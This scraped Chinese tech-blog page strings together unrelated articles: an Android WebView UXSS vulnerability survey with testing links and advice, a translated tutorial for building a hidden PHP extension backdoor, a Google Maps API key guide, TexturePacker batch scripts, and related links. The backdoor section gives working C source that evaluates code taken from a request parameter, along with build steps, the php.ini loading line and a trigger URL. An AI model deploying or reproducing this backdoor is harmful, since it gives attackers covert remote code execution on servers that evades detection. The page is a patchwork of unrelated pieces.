Android开发的UXSS阶段性小结及自动化测试教程
0x00 科普
WebView(网络视图)android中加载显示网页的重要组件,可以将其视为一个浏览器。在kitkat(android 4.4)以前使用WebKit渲染引擎加载显示网页,在kitkat之后使用谷歌自家内核chromium。
Uxss(Universal Cross-Site Scripting通用型XSS)UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。可以到达浏览器全局远程执行命令、绕过同源策略、窃取用户资料以及劫持用户的严重危害。
同源策略所谓同源是指,域名,协议,端口相同,浏览器或者浏览器扩展共同遵循的安全策略。详见: http://drops.wooyun.org/tips/151
0x01 事件
近段时间android UXSS漏洞持续性爆发涉及android应用包括主手机流浏览器、聊天软件等。下面截取几个案例。
WooYun: 搜狗手机浏览器跨域脚本执行漏洞之一
WooYun: 手机QQ安卓版两处跨域问题
WooYun: 猎豹/360/欧鹏/百度/遨游等手机浏览器安卓客户端UXSS(影响android4.4以下版本)
WooYun: UC浏览器Android最新版(4.4)跨域漏洞(不受系统版本限制)
引用某厂商对此漏洞的回应
非常感谢您的报告,此问题属于andriod webkit的漏洞,请尽量使用最新版的andriod系统。
的确漏洞产生的原因是因为kitkat(android 4.4)之前webview组件使用webview内核而遗留的漏洞。使用最新的android系统当然安全性要更高而且运行更流畅,但是有多少人能升级或者使用到相对安全的android版本了。下图来自谷歌官方2014.09.09的统计数据。
看起来情况不是太糟糕,有24.5%的android用户是处于相对安全的版本下。但是官方数据的是来google play明显和大陆水土不服。国内就只能使用相对靠谱的本土第三方统计了。下图是umeng八月的统计情况
能使用到相对安全的android系统的用户不到8%,那么问题来了~我要换一个什么的样的手机了。忘记我是个?潘苛耍?剖只?薹ㄉ?兜 kitkat也没钱换手机。那就只能选择使用相对安全的应用来尽量避免我受到攻击。于是我们收集了一些命中率较高的POC来验证到底哪些app更靠谱一些。
https://code.google.com/p/chromium/issues/detail?id=37383
https://code.google.com/p/chromium/issues/detail?id=90222
https://code.google.com/p/chromium/issues/detail?id=98053
https://code.google.com/p/chromium/issues/detail?id=117550
https://code.google.com/p/chromium/issues/detail?id=143437
https://code.google.com/p/chromium/issues/detail?id=143439
CVE-2014-6041
为了方便大家也能够方便测试其他应用我们尝试写出一个自动化的脚本来完成此项工作。
0x02 测试
http://zone.wooyun.org/content/15792
下图为360浏览器在android 4.2.2下的测试结果
下图为搜狗浏览器在android 4.4.3下的测试结果
测试代码将放入github供大家参考,欢迎大神来修改
代码地址: https://github.com/click1/uxss
在线测试地址: http://uxss.sinaapp.com/index.php
0x03 对比
我们对主流手机浏览器进行了横向对比,测试对象包括:UC浏览器、搜狗浏览器、百度浏览器、360安全浏览器、欧鹏浏览器、遨游云浏览器、猎豹浏览器。测试结果见下图。
0x04 建议
厂商(仅供参考):
1、服务端禁止iframe嵌套 X-FRAME-OPTIONS:DENY 。详见:http://drops.wooyun.org/papers/104
2、客户端使用 setAllowFileAccess(flase) 方法禁止webview访问本地域。详见: setAllowFileAccess(boolean)
3、客户端使用onPageStarted (WebView view, String url, Bitmap favicon) 方法在跳转钱进行跨域判断。详见[onPageStarted (WebView view, String url, Bitmap favicon)][8]
4、客户端对iframe object标签属性进行过滤。
用户:
1、使用漏洞较少的app,及时更新app。
2、不要随意打开一些莫名其妙的链接。
3、有钱你就买新手机吧,android L马上出来了。(可以通过google play推送安全补丁,呵呵)
本文我们来手把手教你如何编写基于php扩展库的后门程序,学习目的是为了让我们对后门程序的深度理解,然后写出更安全的代码。0x00 前言
今天我们将讨论编写基于PHP扩展库的后门。通常来说,大部分入侵者都会在脚本中留下自定义代码块后门。当然,这些东西很容易通过源代码的静态或动态分析找到。
利用PHP扩展库的好处显而易见:
1很难寻找 绕过disable_functions选项 有能力控制所有的代码 访问代码执行的API
但是我们需要有编辑PHP配置文件的能力。
0x01 细节
//【译者注:用linux两条命令搞定了,何必windows费这么大劲】
作为例子,我会用Windows来写。写扩展我用的Visual Studio 2012 Express版本。还需要的源代码最新版本,编译PHP库(可从同一来源收集)。为简单起见,我们需要是的php-5.5.15-Win32的 VC11-86和源PHP-5.5.15-src.zip
解压使用C编译PHP:PHP,源代码在C:PHP-SRC。
然后,你需要进行一些设置。
1)添加预处理器定义:
ZEND_DEBUG=0 ZTS=1 ZEND_WIN32 PHP_WIN32
预处理器定义
2)添加的目录,用于连接源:
C: PHP-SRCmain C: PHP-SRCend C: PHP-SRCTSRM C: PHP-SRC egex C: PHP-SRC
其他目录连接
3)添加其他目录中liboy php5ts.lib(C: PHP dev的)
其他目录库
4)添加连接库php5ts.lib。
装配额外的库
5)指定收集文件的路径。
保存配置文件
配置参数为Workspace扩展的开发后(详情可以在http://blog.slickedit.com/2007/09/creating-a- php-5-extension-with-visual-c-2005/找到),创建一个新的项目类型后门“控制台应用程序的Win32”。
在Visual StudioVyberem型“库DLL»项目”
选择合适类型
然后,从项目中删除不必要的文件。应该只需要backdoor.cpp,STDAFX.CPP和stdafx.h中。
在头文件stdafx.h中
:
#pragma once #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif
现在,我们直接进入PHP扩展的代码。删除所有行,并添加所需的文件连接。
#include "stdafx.h" #include "zend_config.w32.h" #include "php.h"
如果workspace设置已经正确,警告就会消失。
当模块被初始化时,会有几个事件,其中每一个都在特定条件下发生。我们需要在查询执行时,去执行我们的代码。要做到这一点,你必须初始化我们所需要的功能,我给它命名为«hideme»。
PHP_RINIT_FUNCTION(hideme);
然后你可以去看模块的初始化。
zend_module_entry hideme_ext_module_entry = { STANDARD_MODULE_HEADER, "simple backdoor", NULL, NULL, NULL, PHP_RINIT(hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(hideme_ext);
在这篇文章中,我们只需要加载中代码被执行即可,因此运行和卸载模块由空取代。
现在,你可以去看hideme的函数体。
PHP_RINIT_FUNCTION(hideme) { char* method = "_POST"; // 超全局数组,从中我们采取perametr和价值 char* secret_string = "secret_string"; //参数,这将是运行的代码 //【译者注:在原文作者的github代码中method是get,secret_string是execute,请大家按照github代码进行测试,不修改原文了】 zval** arr; char* code; if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { //查找散列表中所需的参数 code = Z_STRVAL_PP(val); //值 zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //代码执行 } } return SUCCESS; }
注释应该比较清楚。最初,我们设置HTTP方法和参数secret_string。然后再寻找正确的数组参数,如果有的话,我们就从它的值中取指令,并通过zend_eval_string执行代码。
编译后的所得,即可作为一个扩展库。
下载源代码
https://github.com/akamajoris/php-extension-backdoor
0x02 测试
//以下为译者测试截图:
1http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();
(因为原作者github代码设置的是execute)
Linux编译(kali)
1apt-get install php5-dev phpize && ./configure && make
在kali下测试一遍成功,我比较懒,直接chmod后把so复制到/var/www了哈哈
然后php.ini加上
1extension=/var/www/back.so
重启apache,测试成功
本文人产来分享一篇Android App安全加固行业分析报告,原来的内容是ppt文件,为了方便大家浏览,直接把图片截取下来放文章上了。鉴于当前Android App安全加固市场火爆,特整合一个当前行业内较流行的安全加固厂商的安全加固产品介绍,希望能为大家拨开迷雾,见安全加固之真章!
手机开发中地图应用是相当广范的,现在我们来看看Android开发中如何获取google Map API Key的方法。地图应用使用com.google.android.maps这个包。通过MapView控件使用。但是之前需要申请一个用于开发的API Key,这个key会和当前的计算机用户绑定。然后通过这个key去官方申请就可以拿到一个开发用的api key了
<1>首先找到用户的debug.keystore文件,可以再”运行“里面搜debug.keystore;如:c:usersAdministrator.androiddebug.keystore
<2>接下来获取MD5指纹,网上很多说的有误。貌似新版默认是出现sha1加密的。通过添加-v 参数会显示所有。
首先运行cmd,在dos界面里,输入
keytool -list -v -keystore c:usersBystander.androiddebug.keystore
命令,然后会让你输入keystore密码,
输入:android,之后,会出现指纹认证MD5,如下:
<3>去官方生成真正的api key
访问 Sign Up for the Android Maps API 输入那串值,同意条款,确定后要求用Google帐号登录。然后会拿到一个key。ok
TexturePacker是一款把若干资源图片拼接为一张大图的工具,现在我们来看看如何用TexturePacker软件实现*.pvr.ccz和png格式图片互转。这两天在看一个安卓游戏,资源挺不错的,解压后发现animation里的图片格式全是pvr.ccz,查了下,这是做2D游戏spirit图打包后的格式,用的软件是TexturePacker,知道了软件那就知道如何解回去了。
下载TexturePacker
安装TexturePacker
将如下代码存成批处理
@echo off
path %path%;"C:Program Files (x86)TexturePackerbin"
for /f "usebackq tokens=*" %%d in (`dir /s /b *.pvr *.pvr.ccz *.pvr.gz`)
do (TexturePacker.exe "%%d" --sheet "%%~dpnd.png" --data "%%~dpnd.plist"
--opt RGBA8888 --allow-free-size --algorithm Basic --no-trim --dither-fs)
pause
将上面的批处理放在你的文件夹目录下,运行即可(支持遍历子目录)
将图片打包成pvr.czz,同样是需要一个批处理
@echo off
path %path%;"C:Program Files (x86)CodeAndWebTexturePackerbin"
for /f "usebackq tokens=*" %%d in (`dir /s /b *.png`) do (
TexturePacker.exe "%%d" --sheet "%%~dpnd.pvr" --data "%%~dpnd.plist"
--opt PVRTC4 --allow-free-size --algorithm Basic --no-trim --dither-fs
)
pause
利用这个工具,我们来下载游戏资源图片就方便多啦,虽然此工具是商业收费的,不过也有免费版。
相关文章
- 下面我们来看一篇关于Android子控件超出父控件的范围显示出来方法,希望这篇文章能够帮助到各位朋友,有碰到此问题的朋友可以进来看看哦。 <RelativeLayout xmlns:an...2016-10-02
- 这篇文章主要介绍了解决@SpringBootTest 单元测试遇到的坑,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教...2021-10-14
Android开发中findViewById()函数用法与简化
findViewById方法在android开发中是获取页面控件的值了,有没有发现我们一个页面控件多了会反复研究写findViewById呢,下面我们一起来看它的简化方法。 Android中Fin...2016-09-20- 如果我们的项目需要做来电及短信的功能,那么我们就得在Android模拟器开发这些功能,本来就来告诉我们如何在Android模拟器上模拟来电及来短信的功能。 在Android模拟...2016-09-20
- 夜神android模拟器如何设置代理呢?对于这个问题其实操作起来是非常的简单,下面小编来为各位详细介绍夜神android模拟器设置代理的方法,希望例子能够帮助到各位。 app...2016-09-20
- 为了增强android应用的用户体验,我们可以在一些Button按钮上自定义动态的设置一些样式,比如交互时改变字体、颜色、背景图等。 今天来看一个通过重写Button来动态实...2016-09-20
- 如果我们要在Android应用APP中加载html5页面,我们可以使用WebView,本文我们分享两个WebView加载html5页面实例应用。 实例一:WebView加载html5实现炫酷引导页面大多...2016-09-20
- 深入理解Android中View和ViewGroup从组成架构上看,似乎ViewGroup在View之上,View需要继承ViewGroup,但实际上不是这样的。View是基类,ViewGroup是它的子类。本教程我们深...2016-09-20
- 下面我们来看一篇关于Android自定义WebView网络视频播放控件开发例子,这个文章写得非常的不错下面给各位共享一下吧。 因为业务需要,以下代码均以Youtube网站在线视...2016-10-02
- java开发的Android应用,性能一直是一个大问题,,或许是Java语言本身比较消耗内存。本文我们来谈谈Android 性能优化之MemoryFile文件读写。 Android匿名共享内存对外A...2016-09-20
- TextView默认是横着显示了,今天我们一起来看看Android设置TextView竖着显示如何来实现吧,今天我们就一起来看看操作细节,具体的如下所示。 在开发Android程序的时候,...2016-10-02
- 这篇文章主要介绍了vscode搭建STM32开发环境的详细过程,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2021-05-02
- DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞...2016-11-25
- mail()函数的作用:连接到邮件服务器,利用smtp协议,与该服务器交互并投邮件。注意:1、mail函数不支持esmtp协议,---即,只能直投,不能登陆2、由上条,我们只能直投至最终的收件服务器地址.而该地址,又是在PHP.ini中指定的,所...2015-10-30
- 宿主机使用网线的时候,客户机在Bridged Adapter模式下,使用Atheros AR8131 PCI-E Gigabit Ethernet Controller上网没问题。 宿主机使用无线的时候,客户机在Bridged Adapter模式下,使用可选项里唯一一个WIFI选项,Microsoft Virtual Wifi Miniport Adapter也无法上网,故弃之。...2013-09-19
android.os.BinderProxy cannot be cast to com解决办法
本文章来给大家介绍关于android.os.BinderProxy cannot be cast to com解决办法,希望此文章对各位有帮助呀。 Android在绑定服务的时候出现java.lang.ClassCastExc...2016-09-20- 这篇文章主要介绍了Android 实现钉钉自动打卡功能的步骤,帮助大家更好的理解和学习使用Android,感兴趣的朋友可以了解下...2021-03-15
- 下面我们来看一篇关于Android 开发之布局细节对比:RTL模式 ,希望这篇文章对各位同学会带来帮助,具体的细节如下介绍。 前言 讲真,好久没写博客了,2016都过了一半了,赶紧...2016-10-02
- 首先如果要在程序中使用sdcard进行存储,我们必须要在AndroidManifset.xml文件进行下面的权限设置: 在AndroidManifest.xml中加入访问SDCard的权限如下: <!--...2016-09-20
- 下面来给各位简单的介绍一下关于Android开发之PhoneGap打包及错误解决办法,希望碰到此类问题的同学可进入参考一下哦。 在我安装、配置好PhoneGap项目的所有依赖...2016-09-20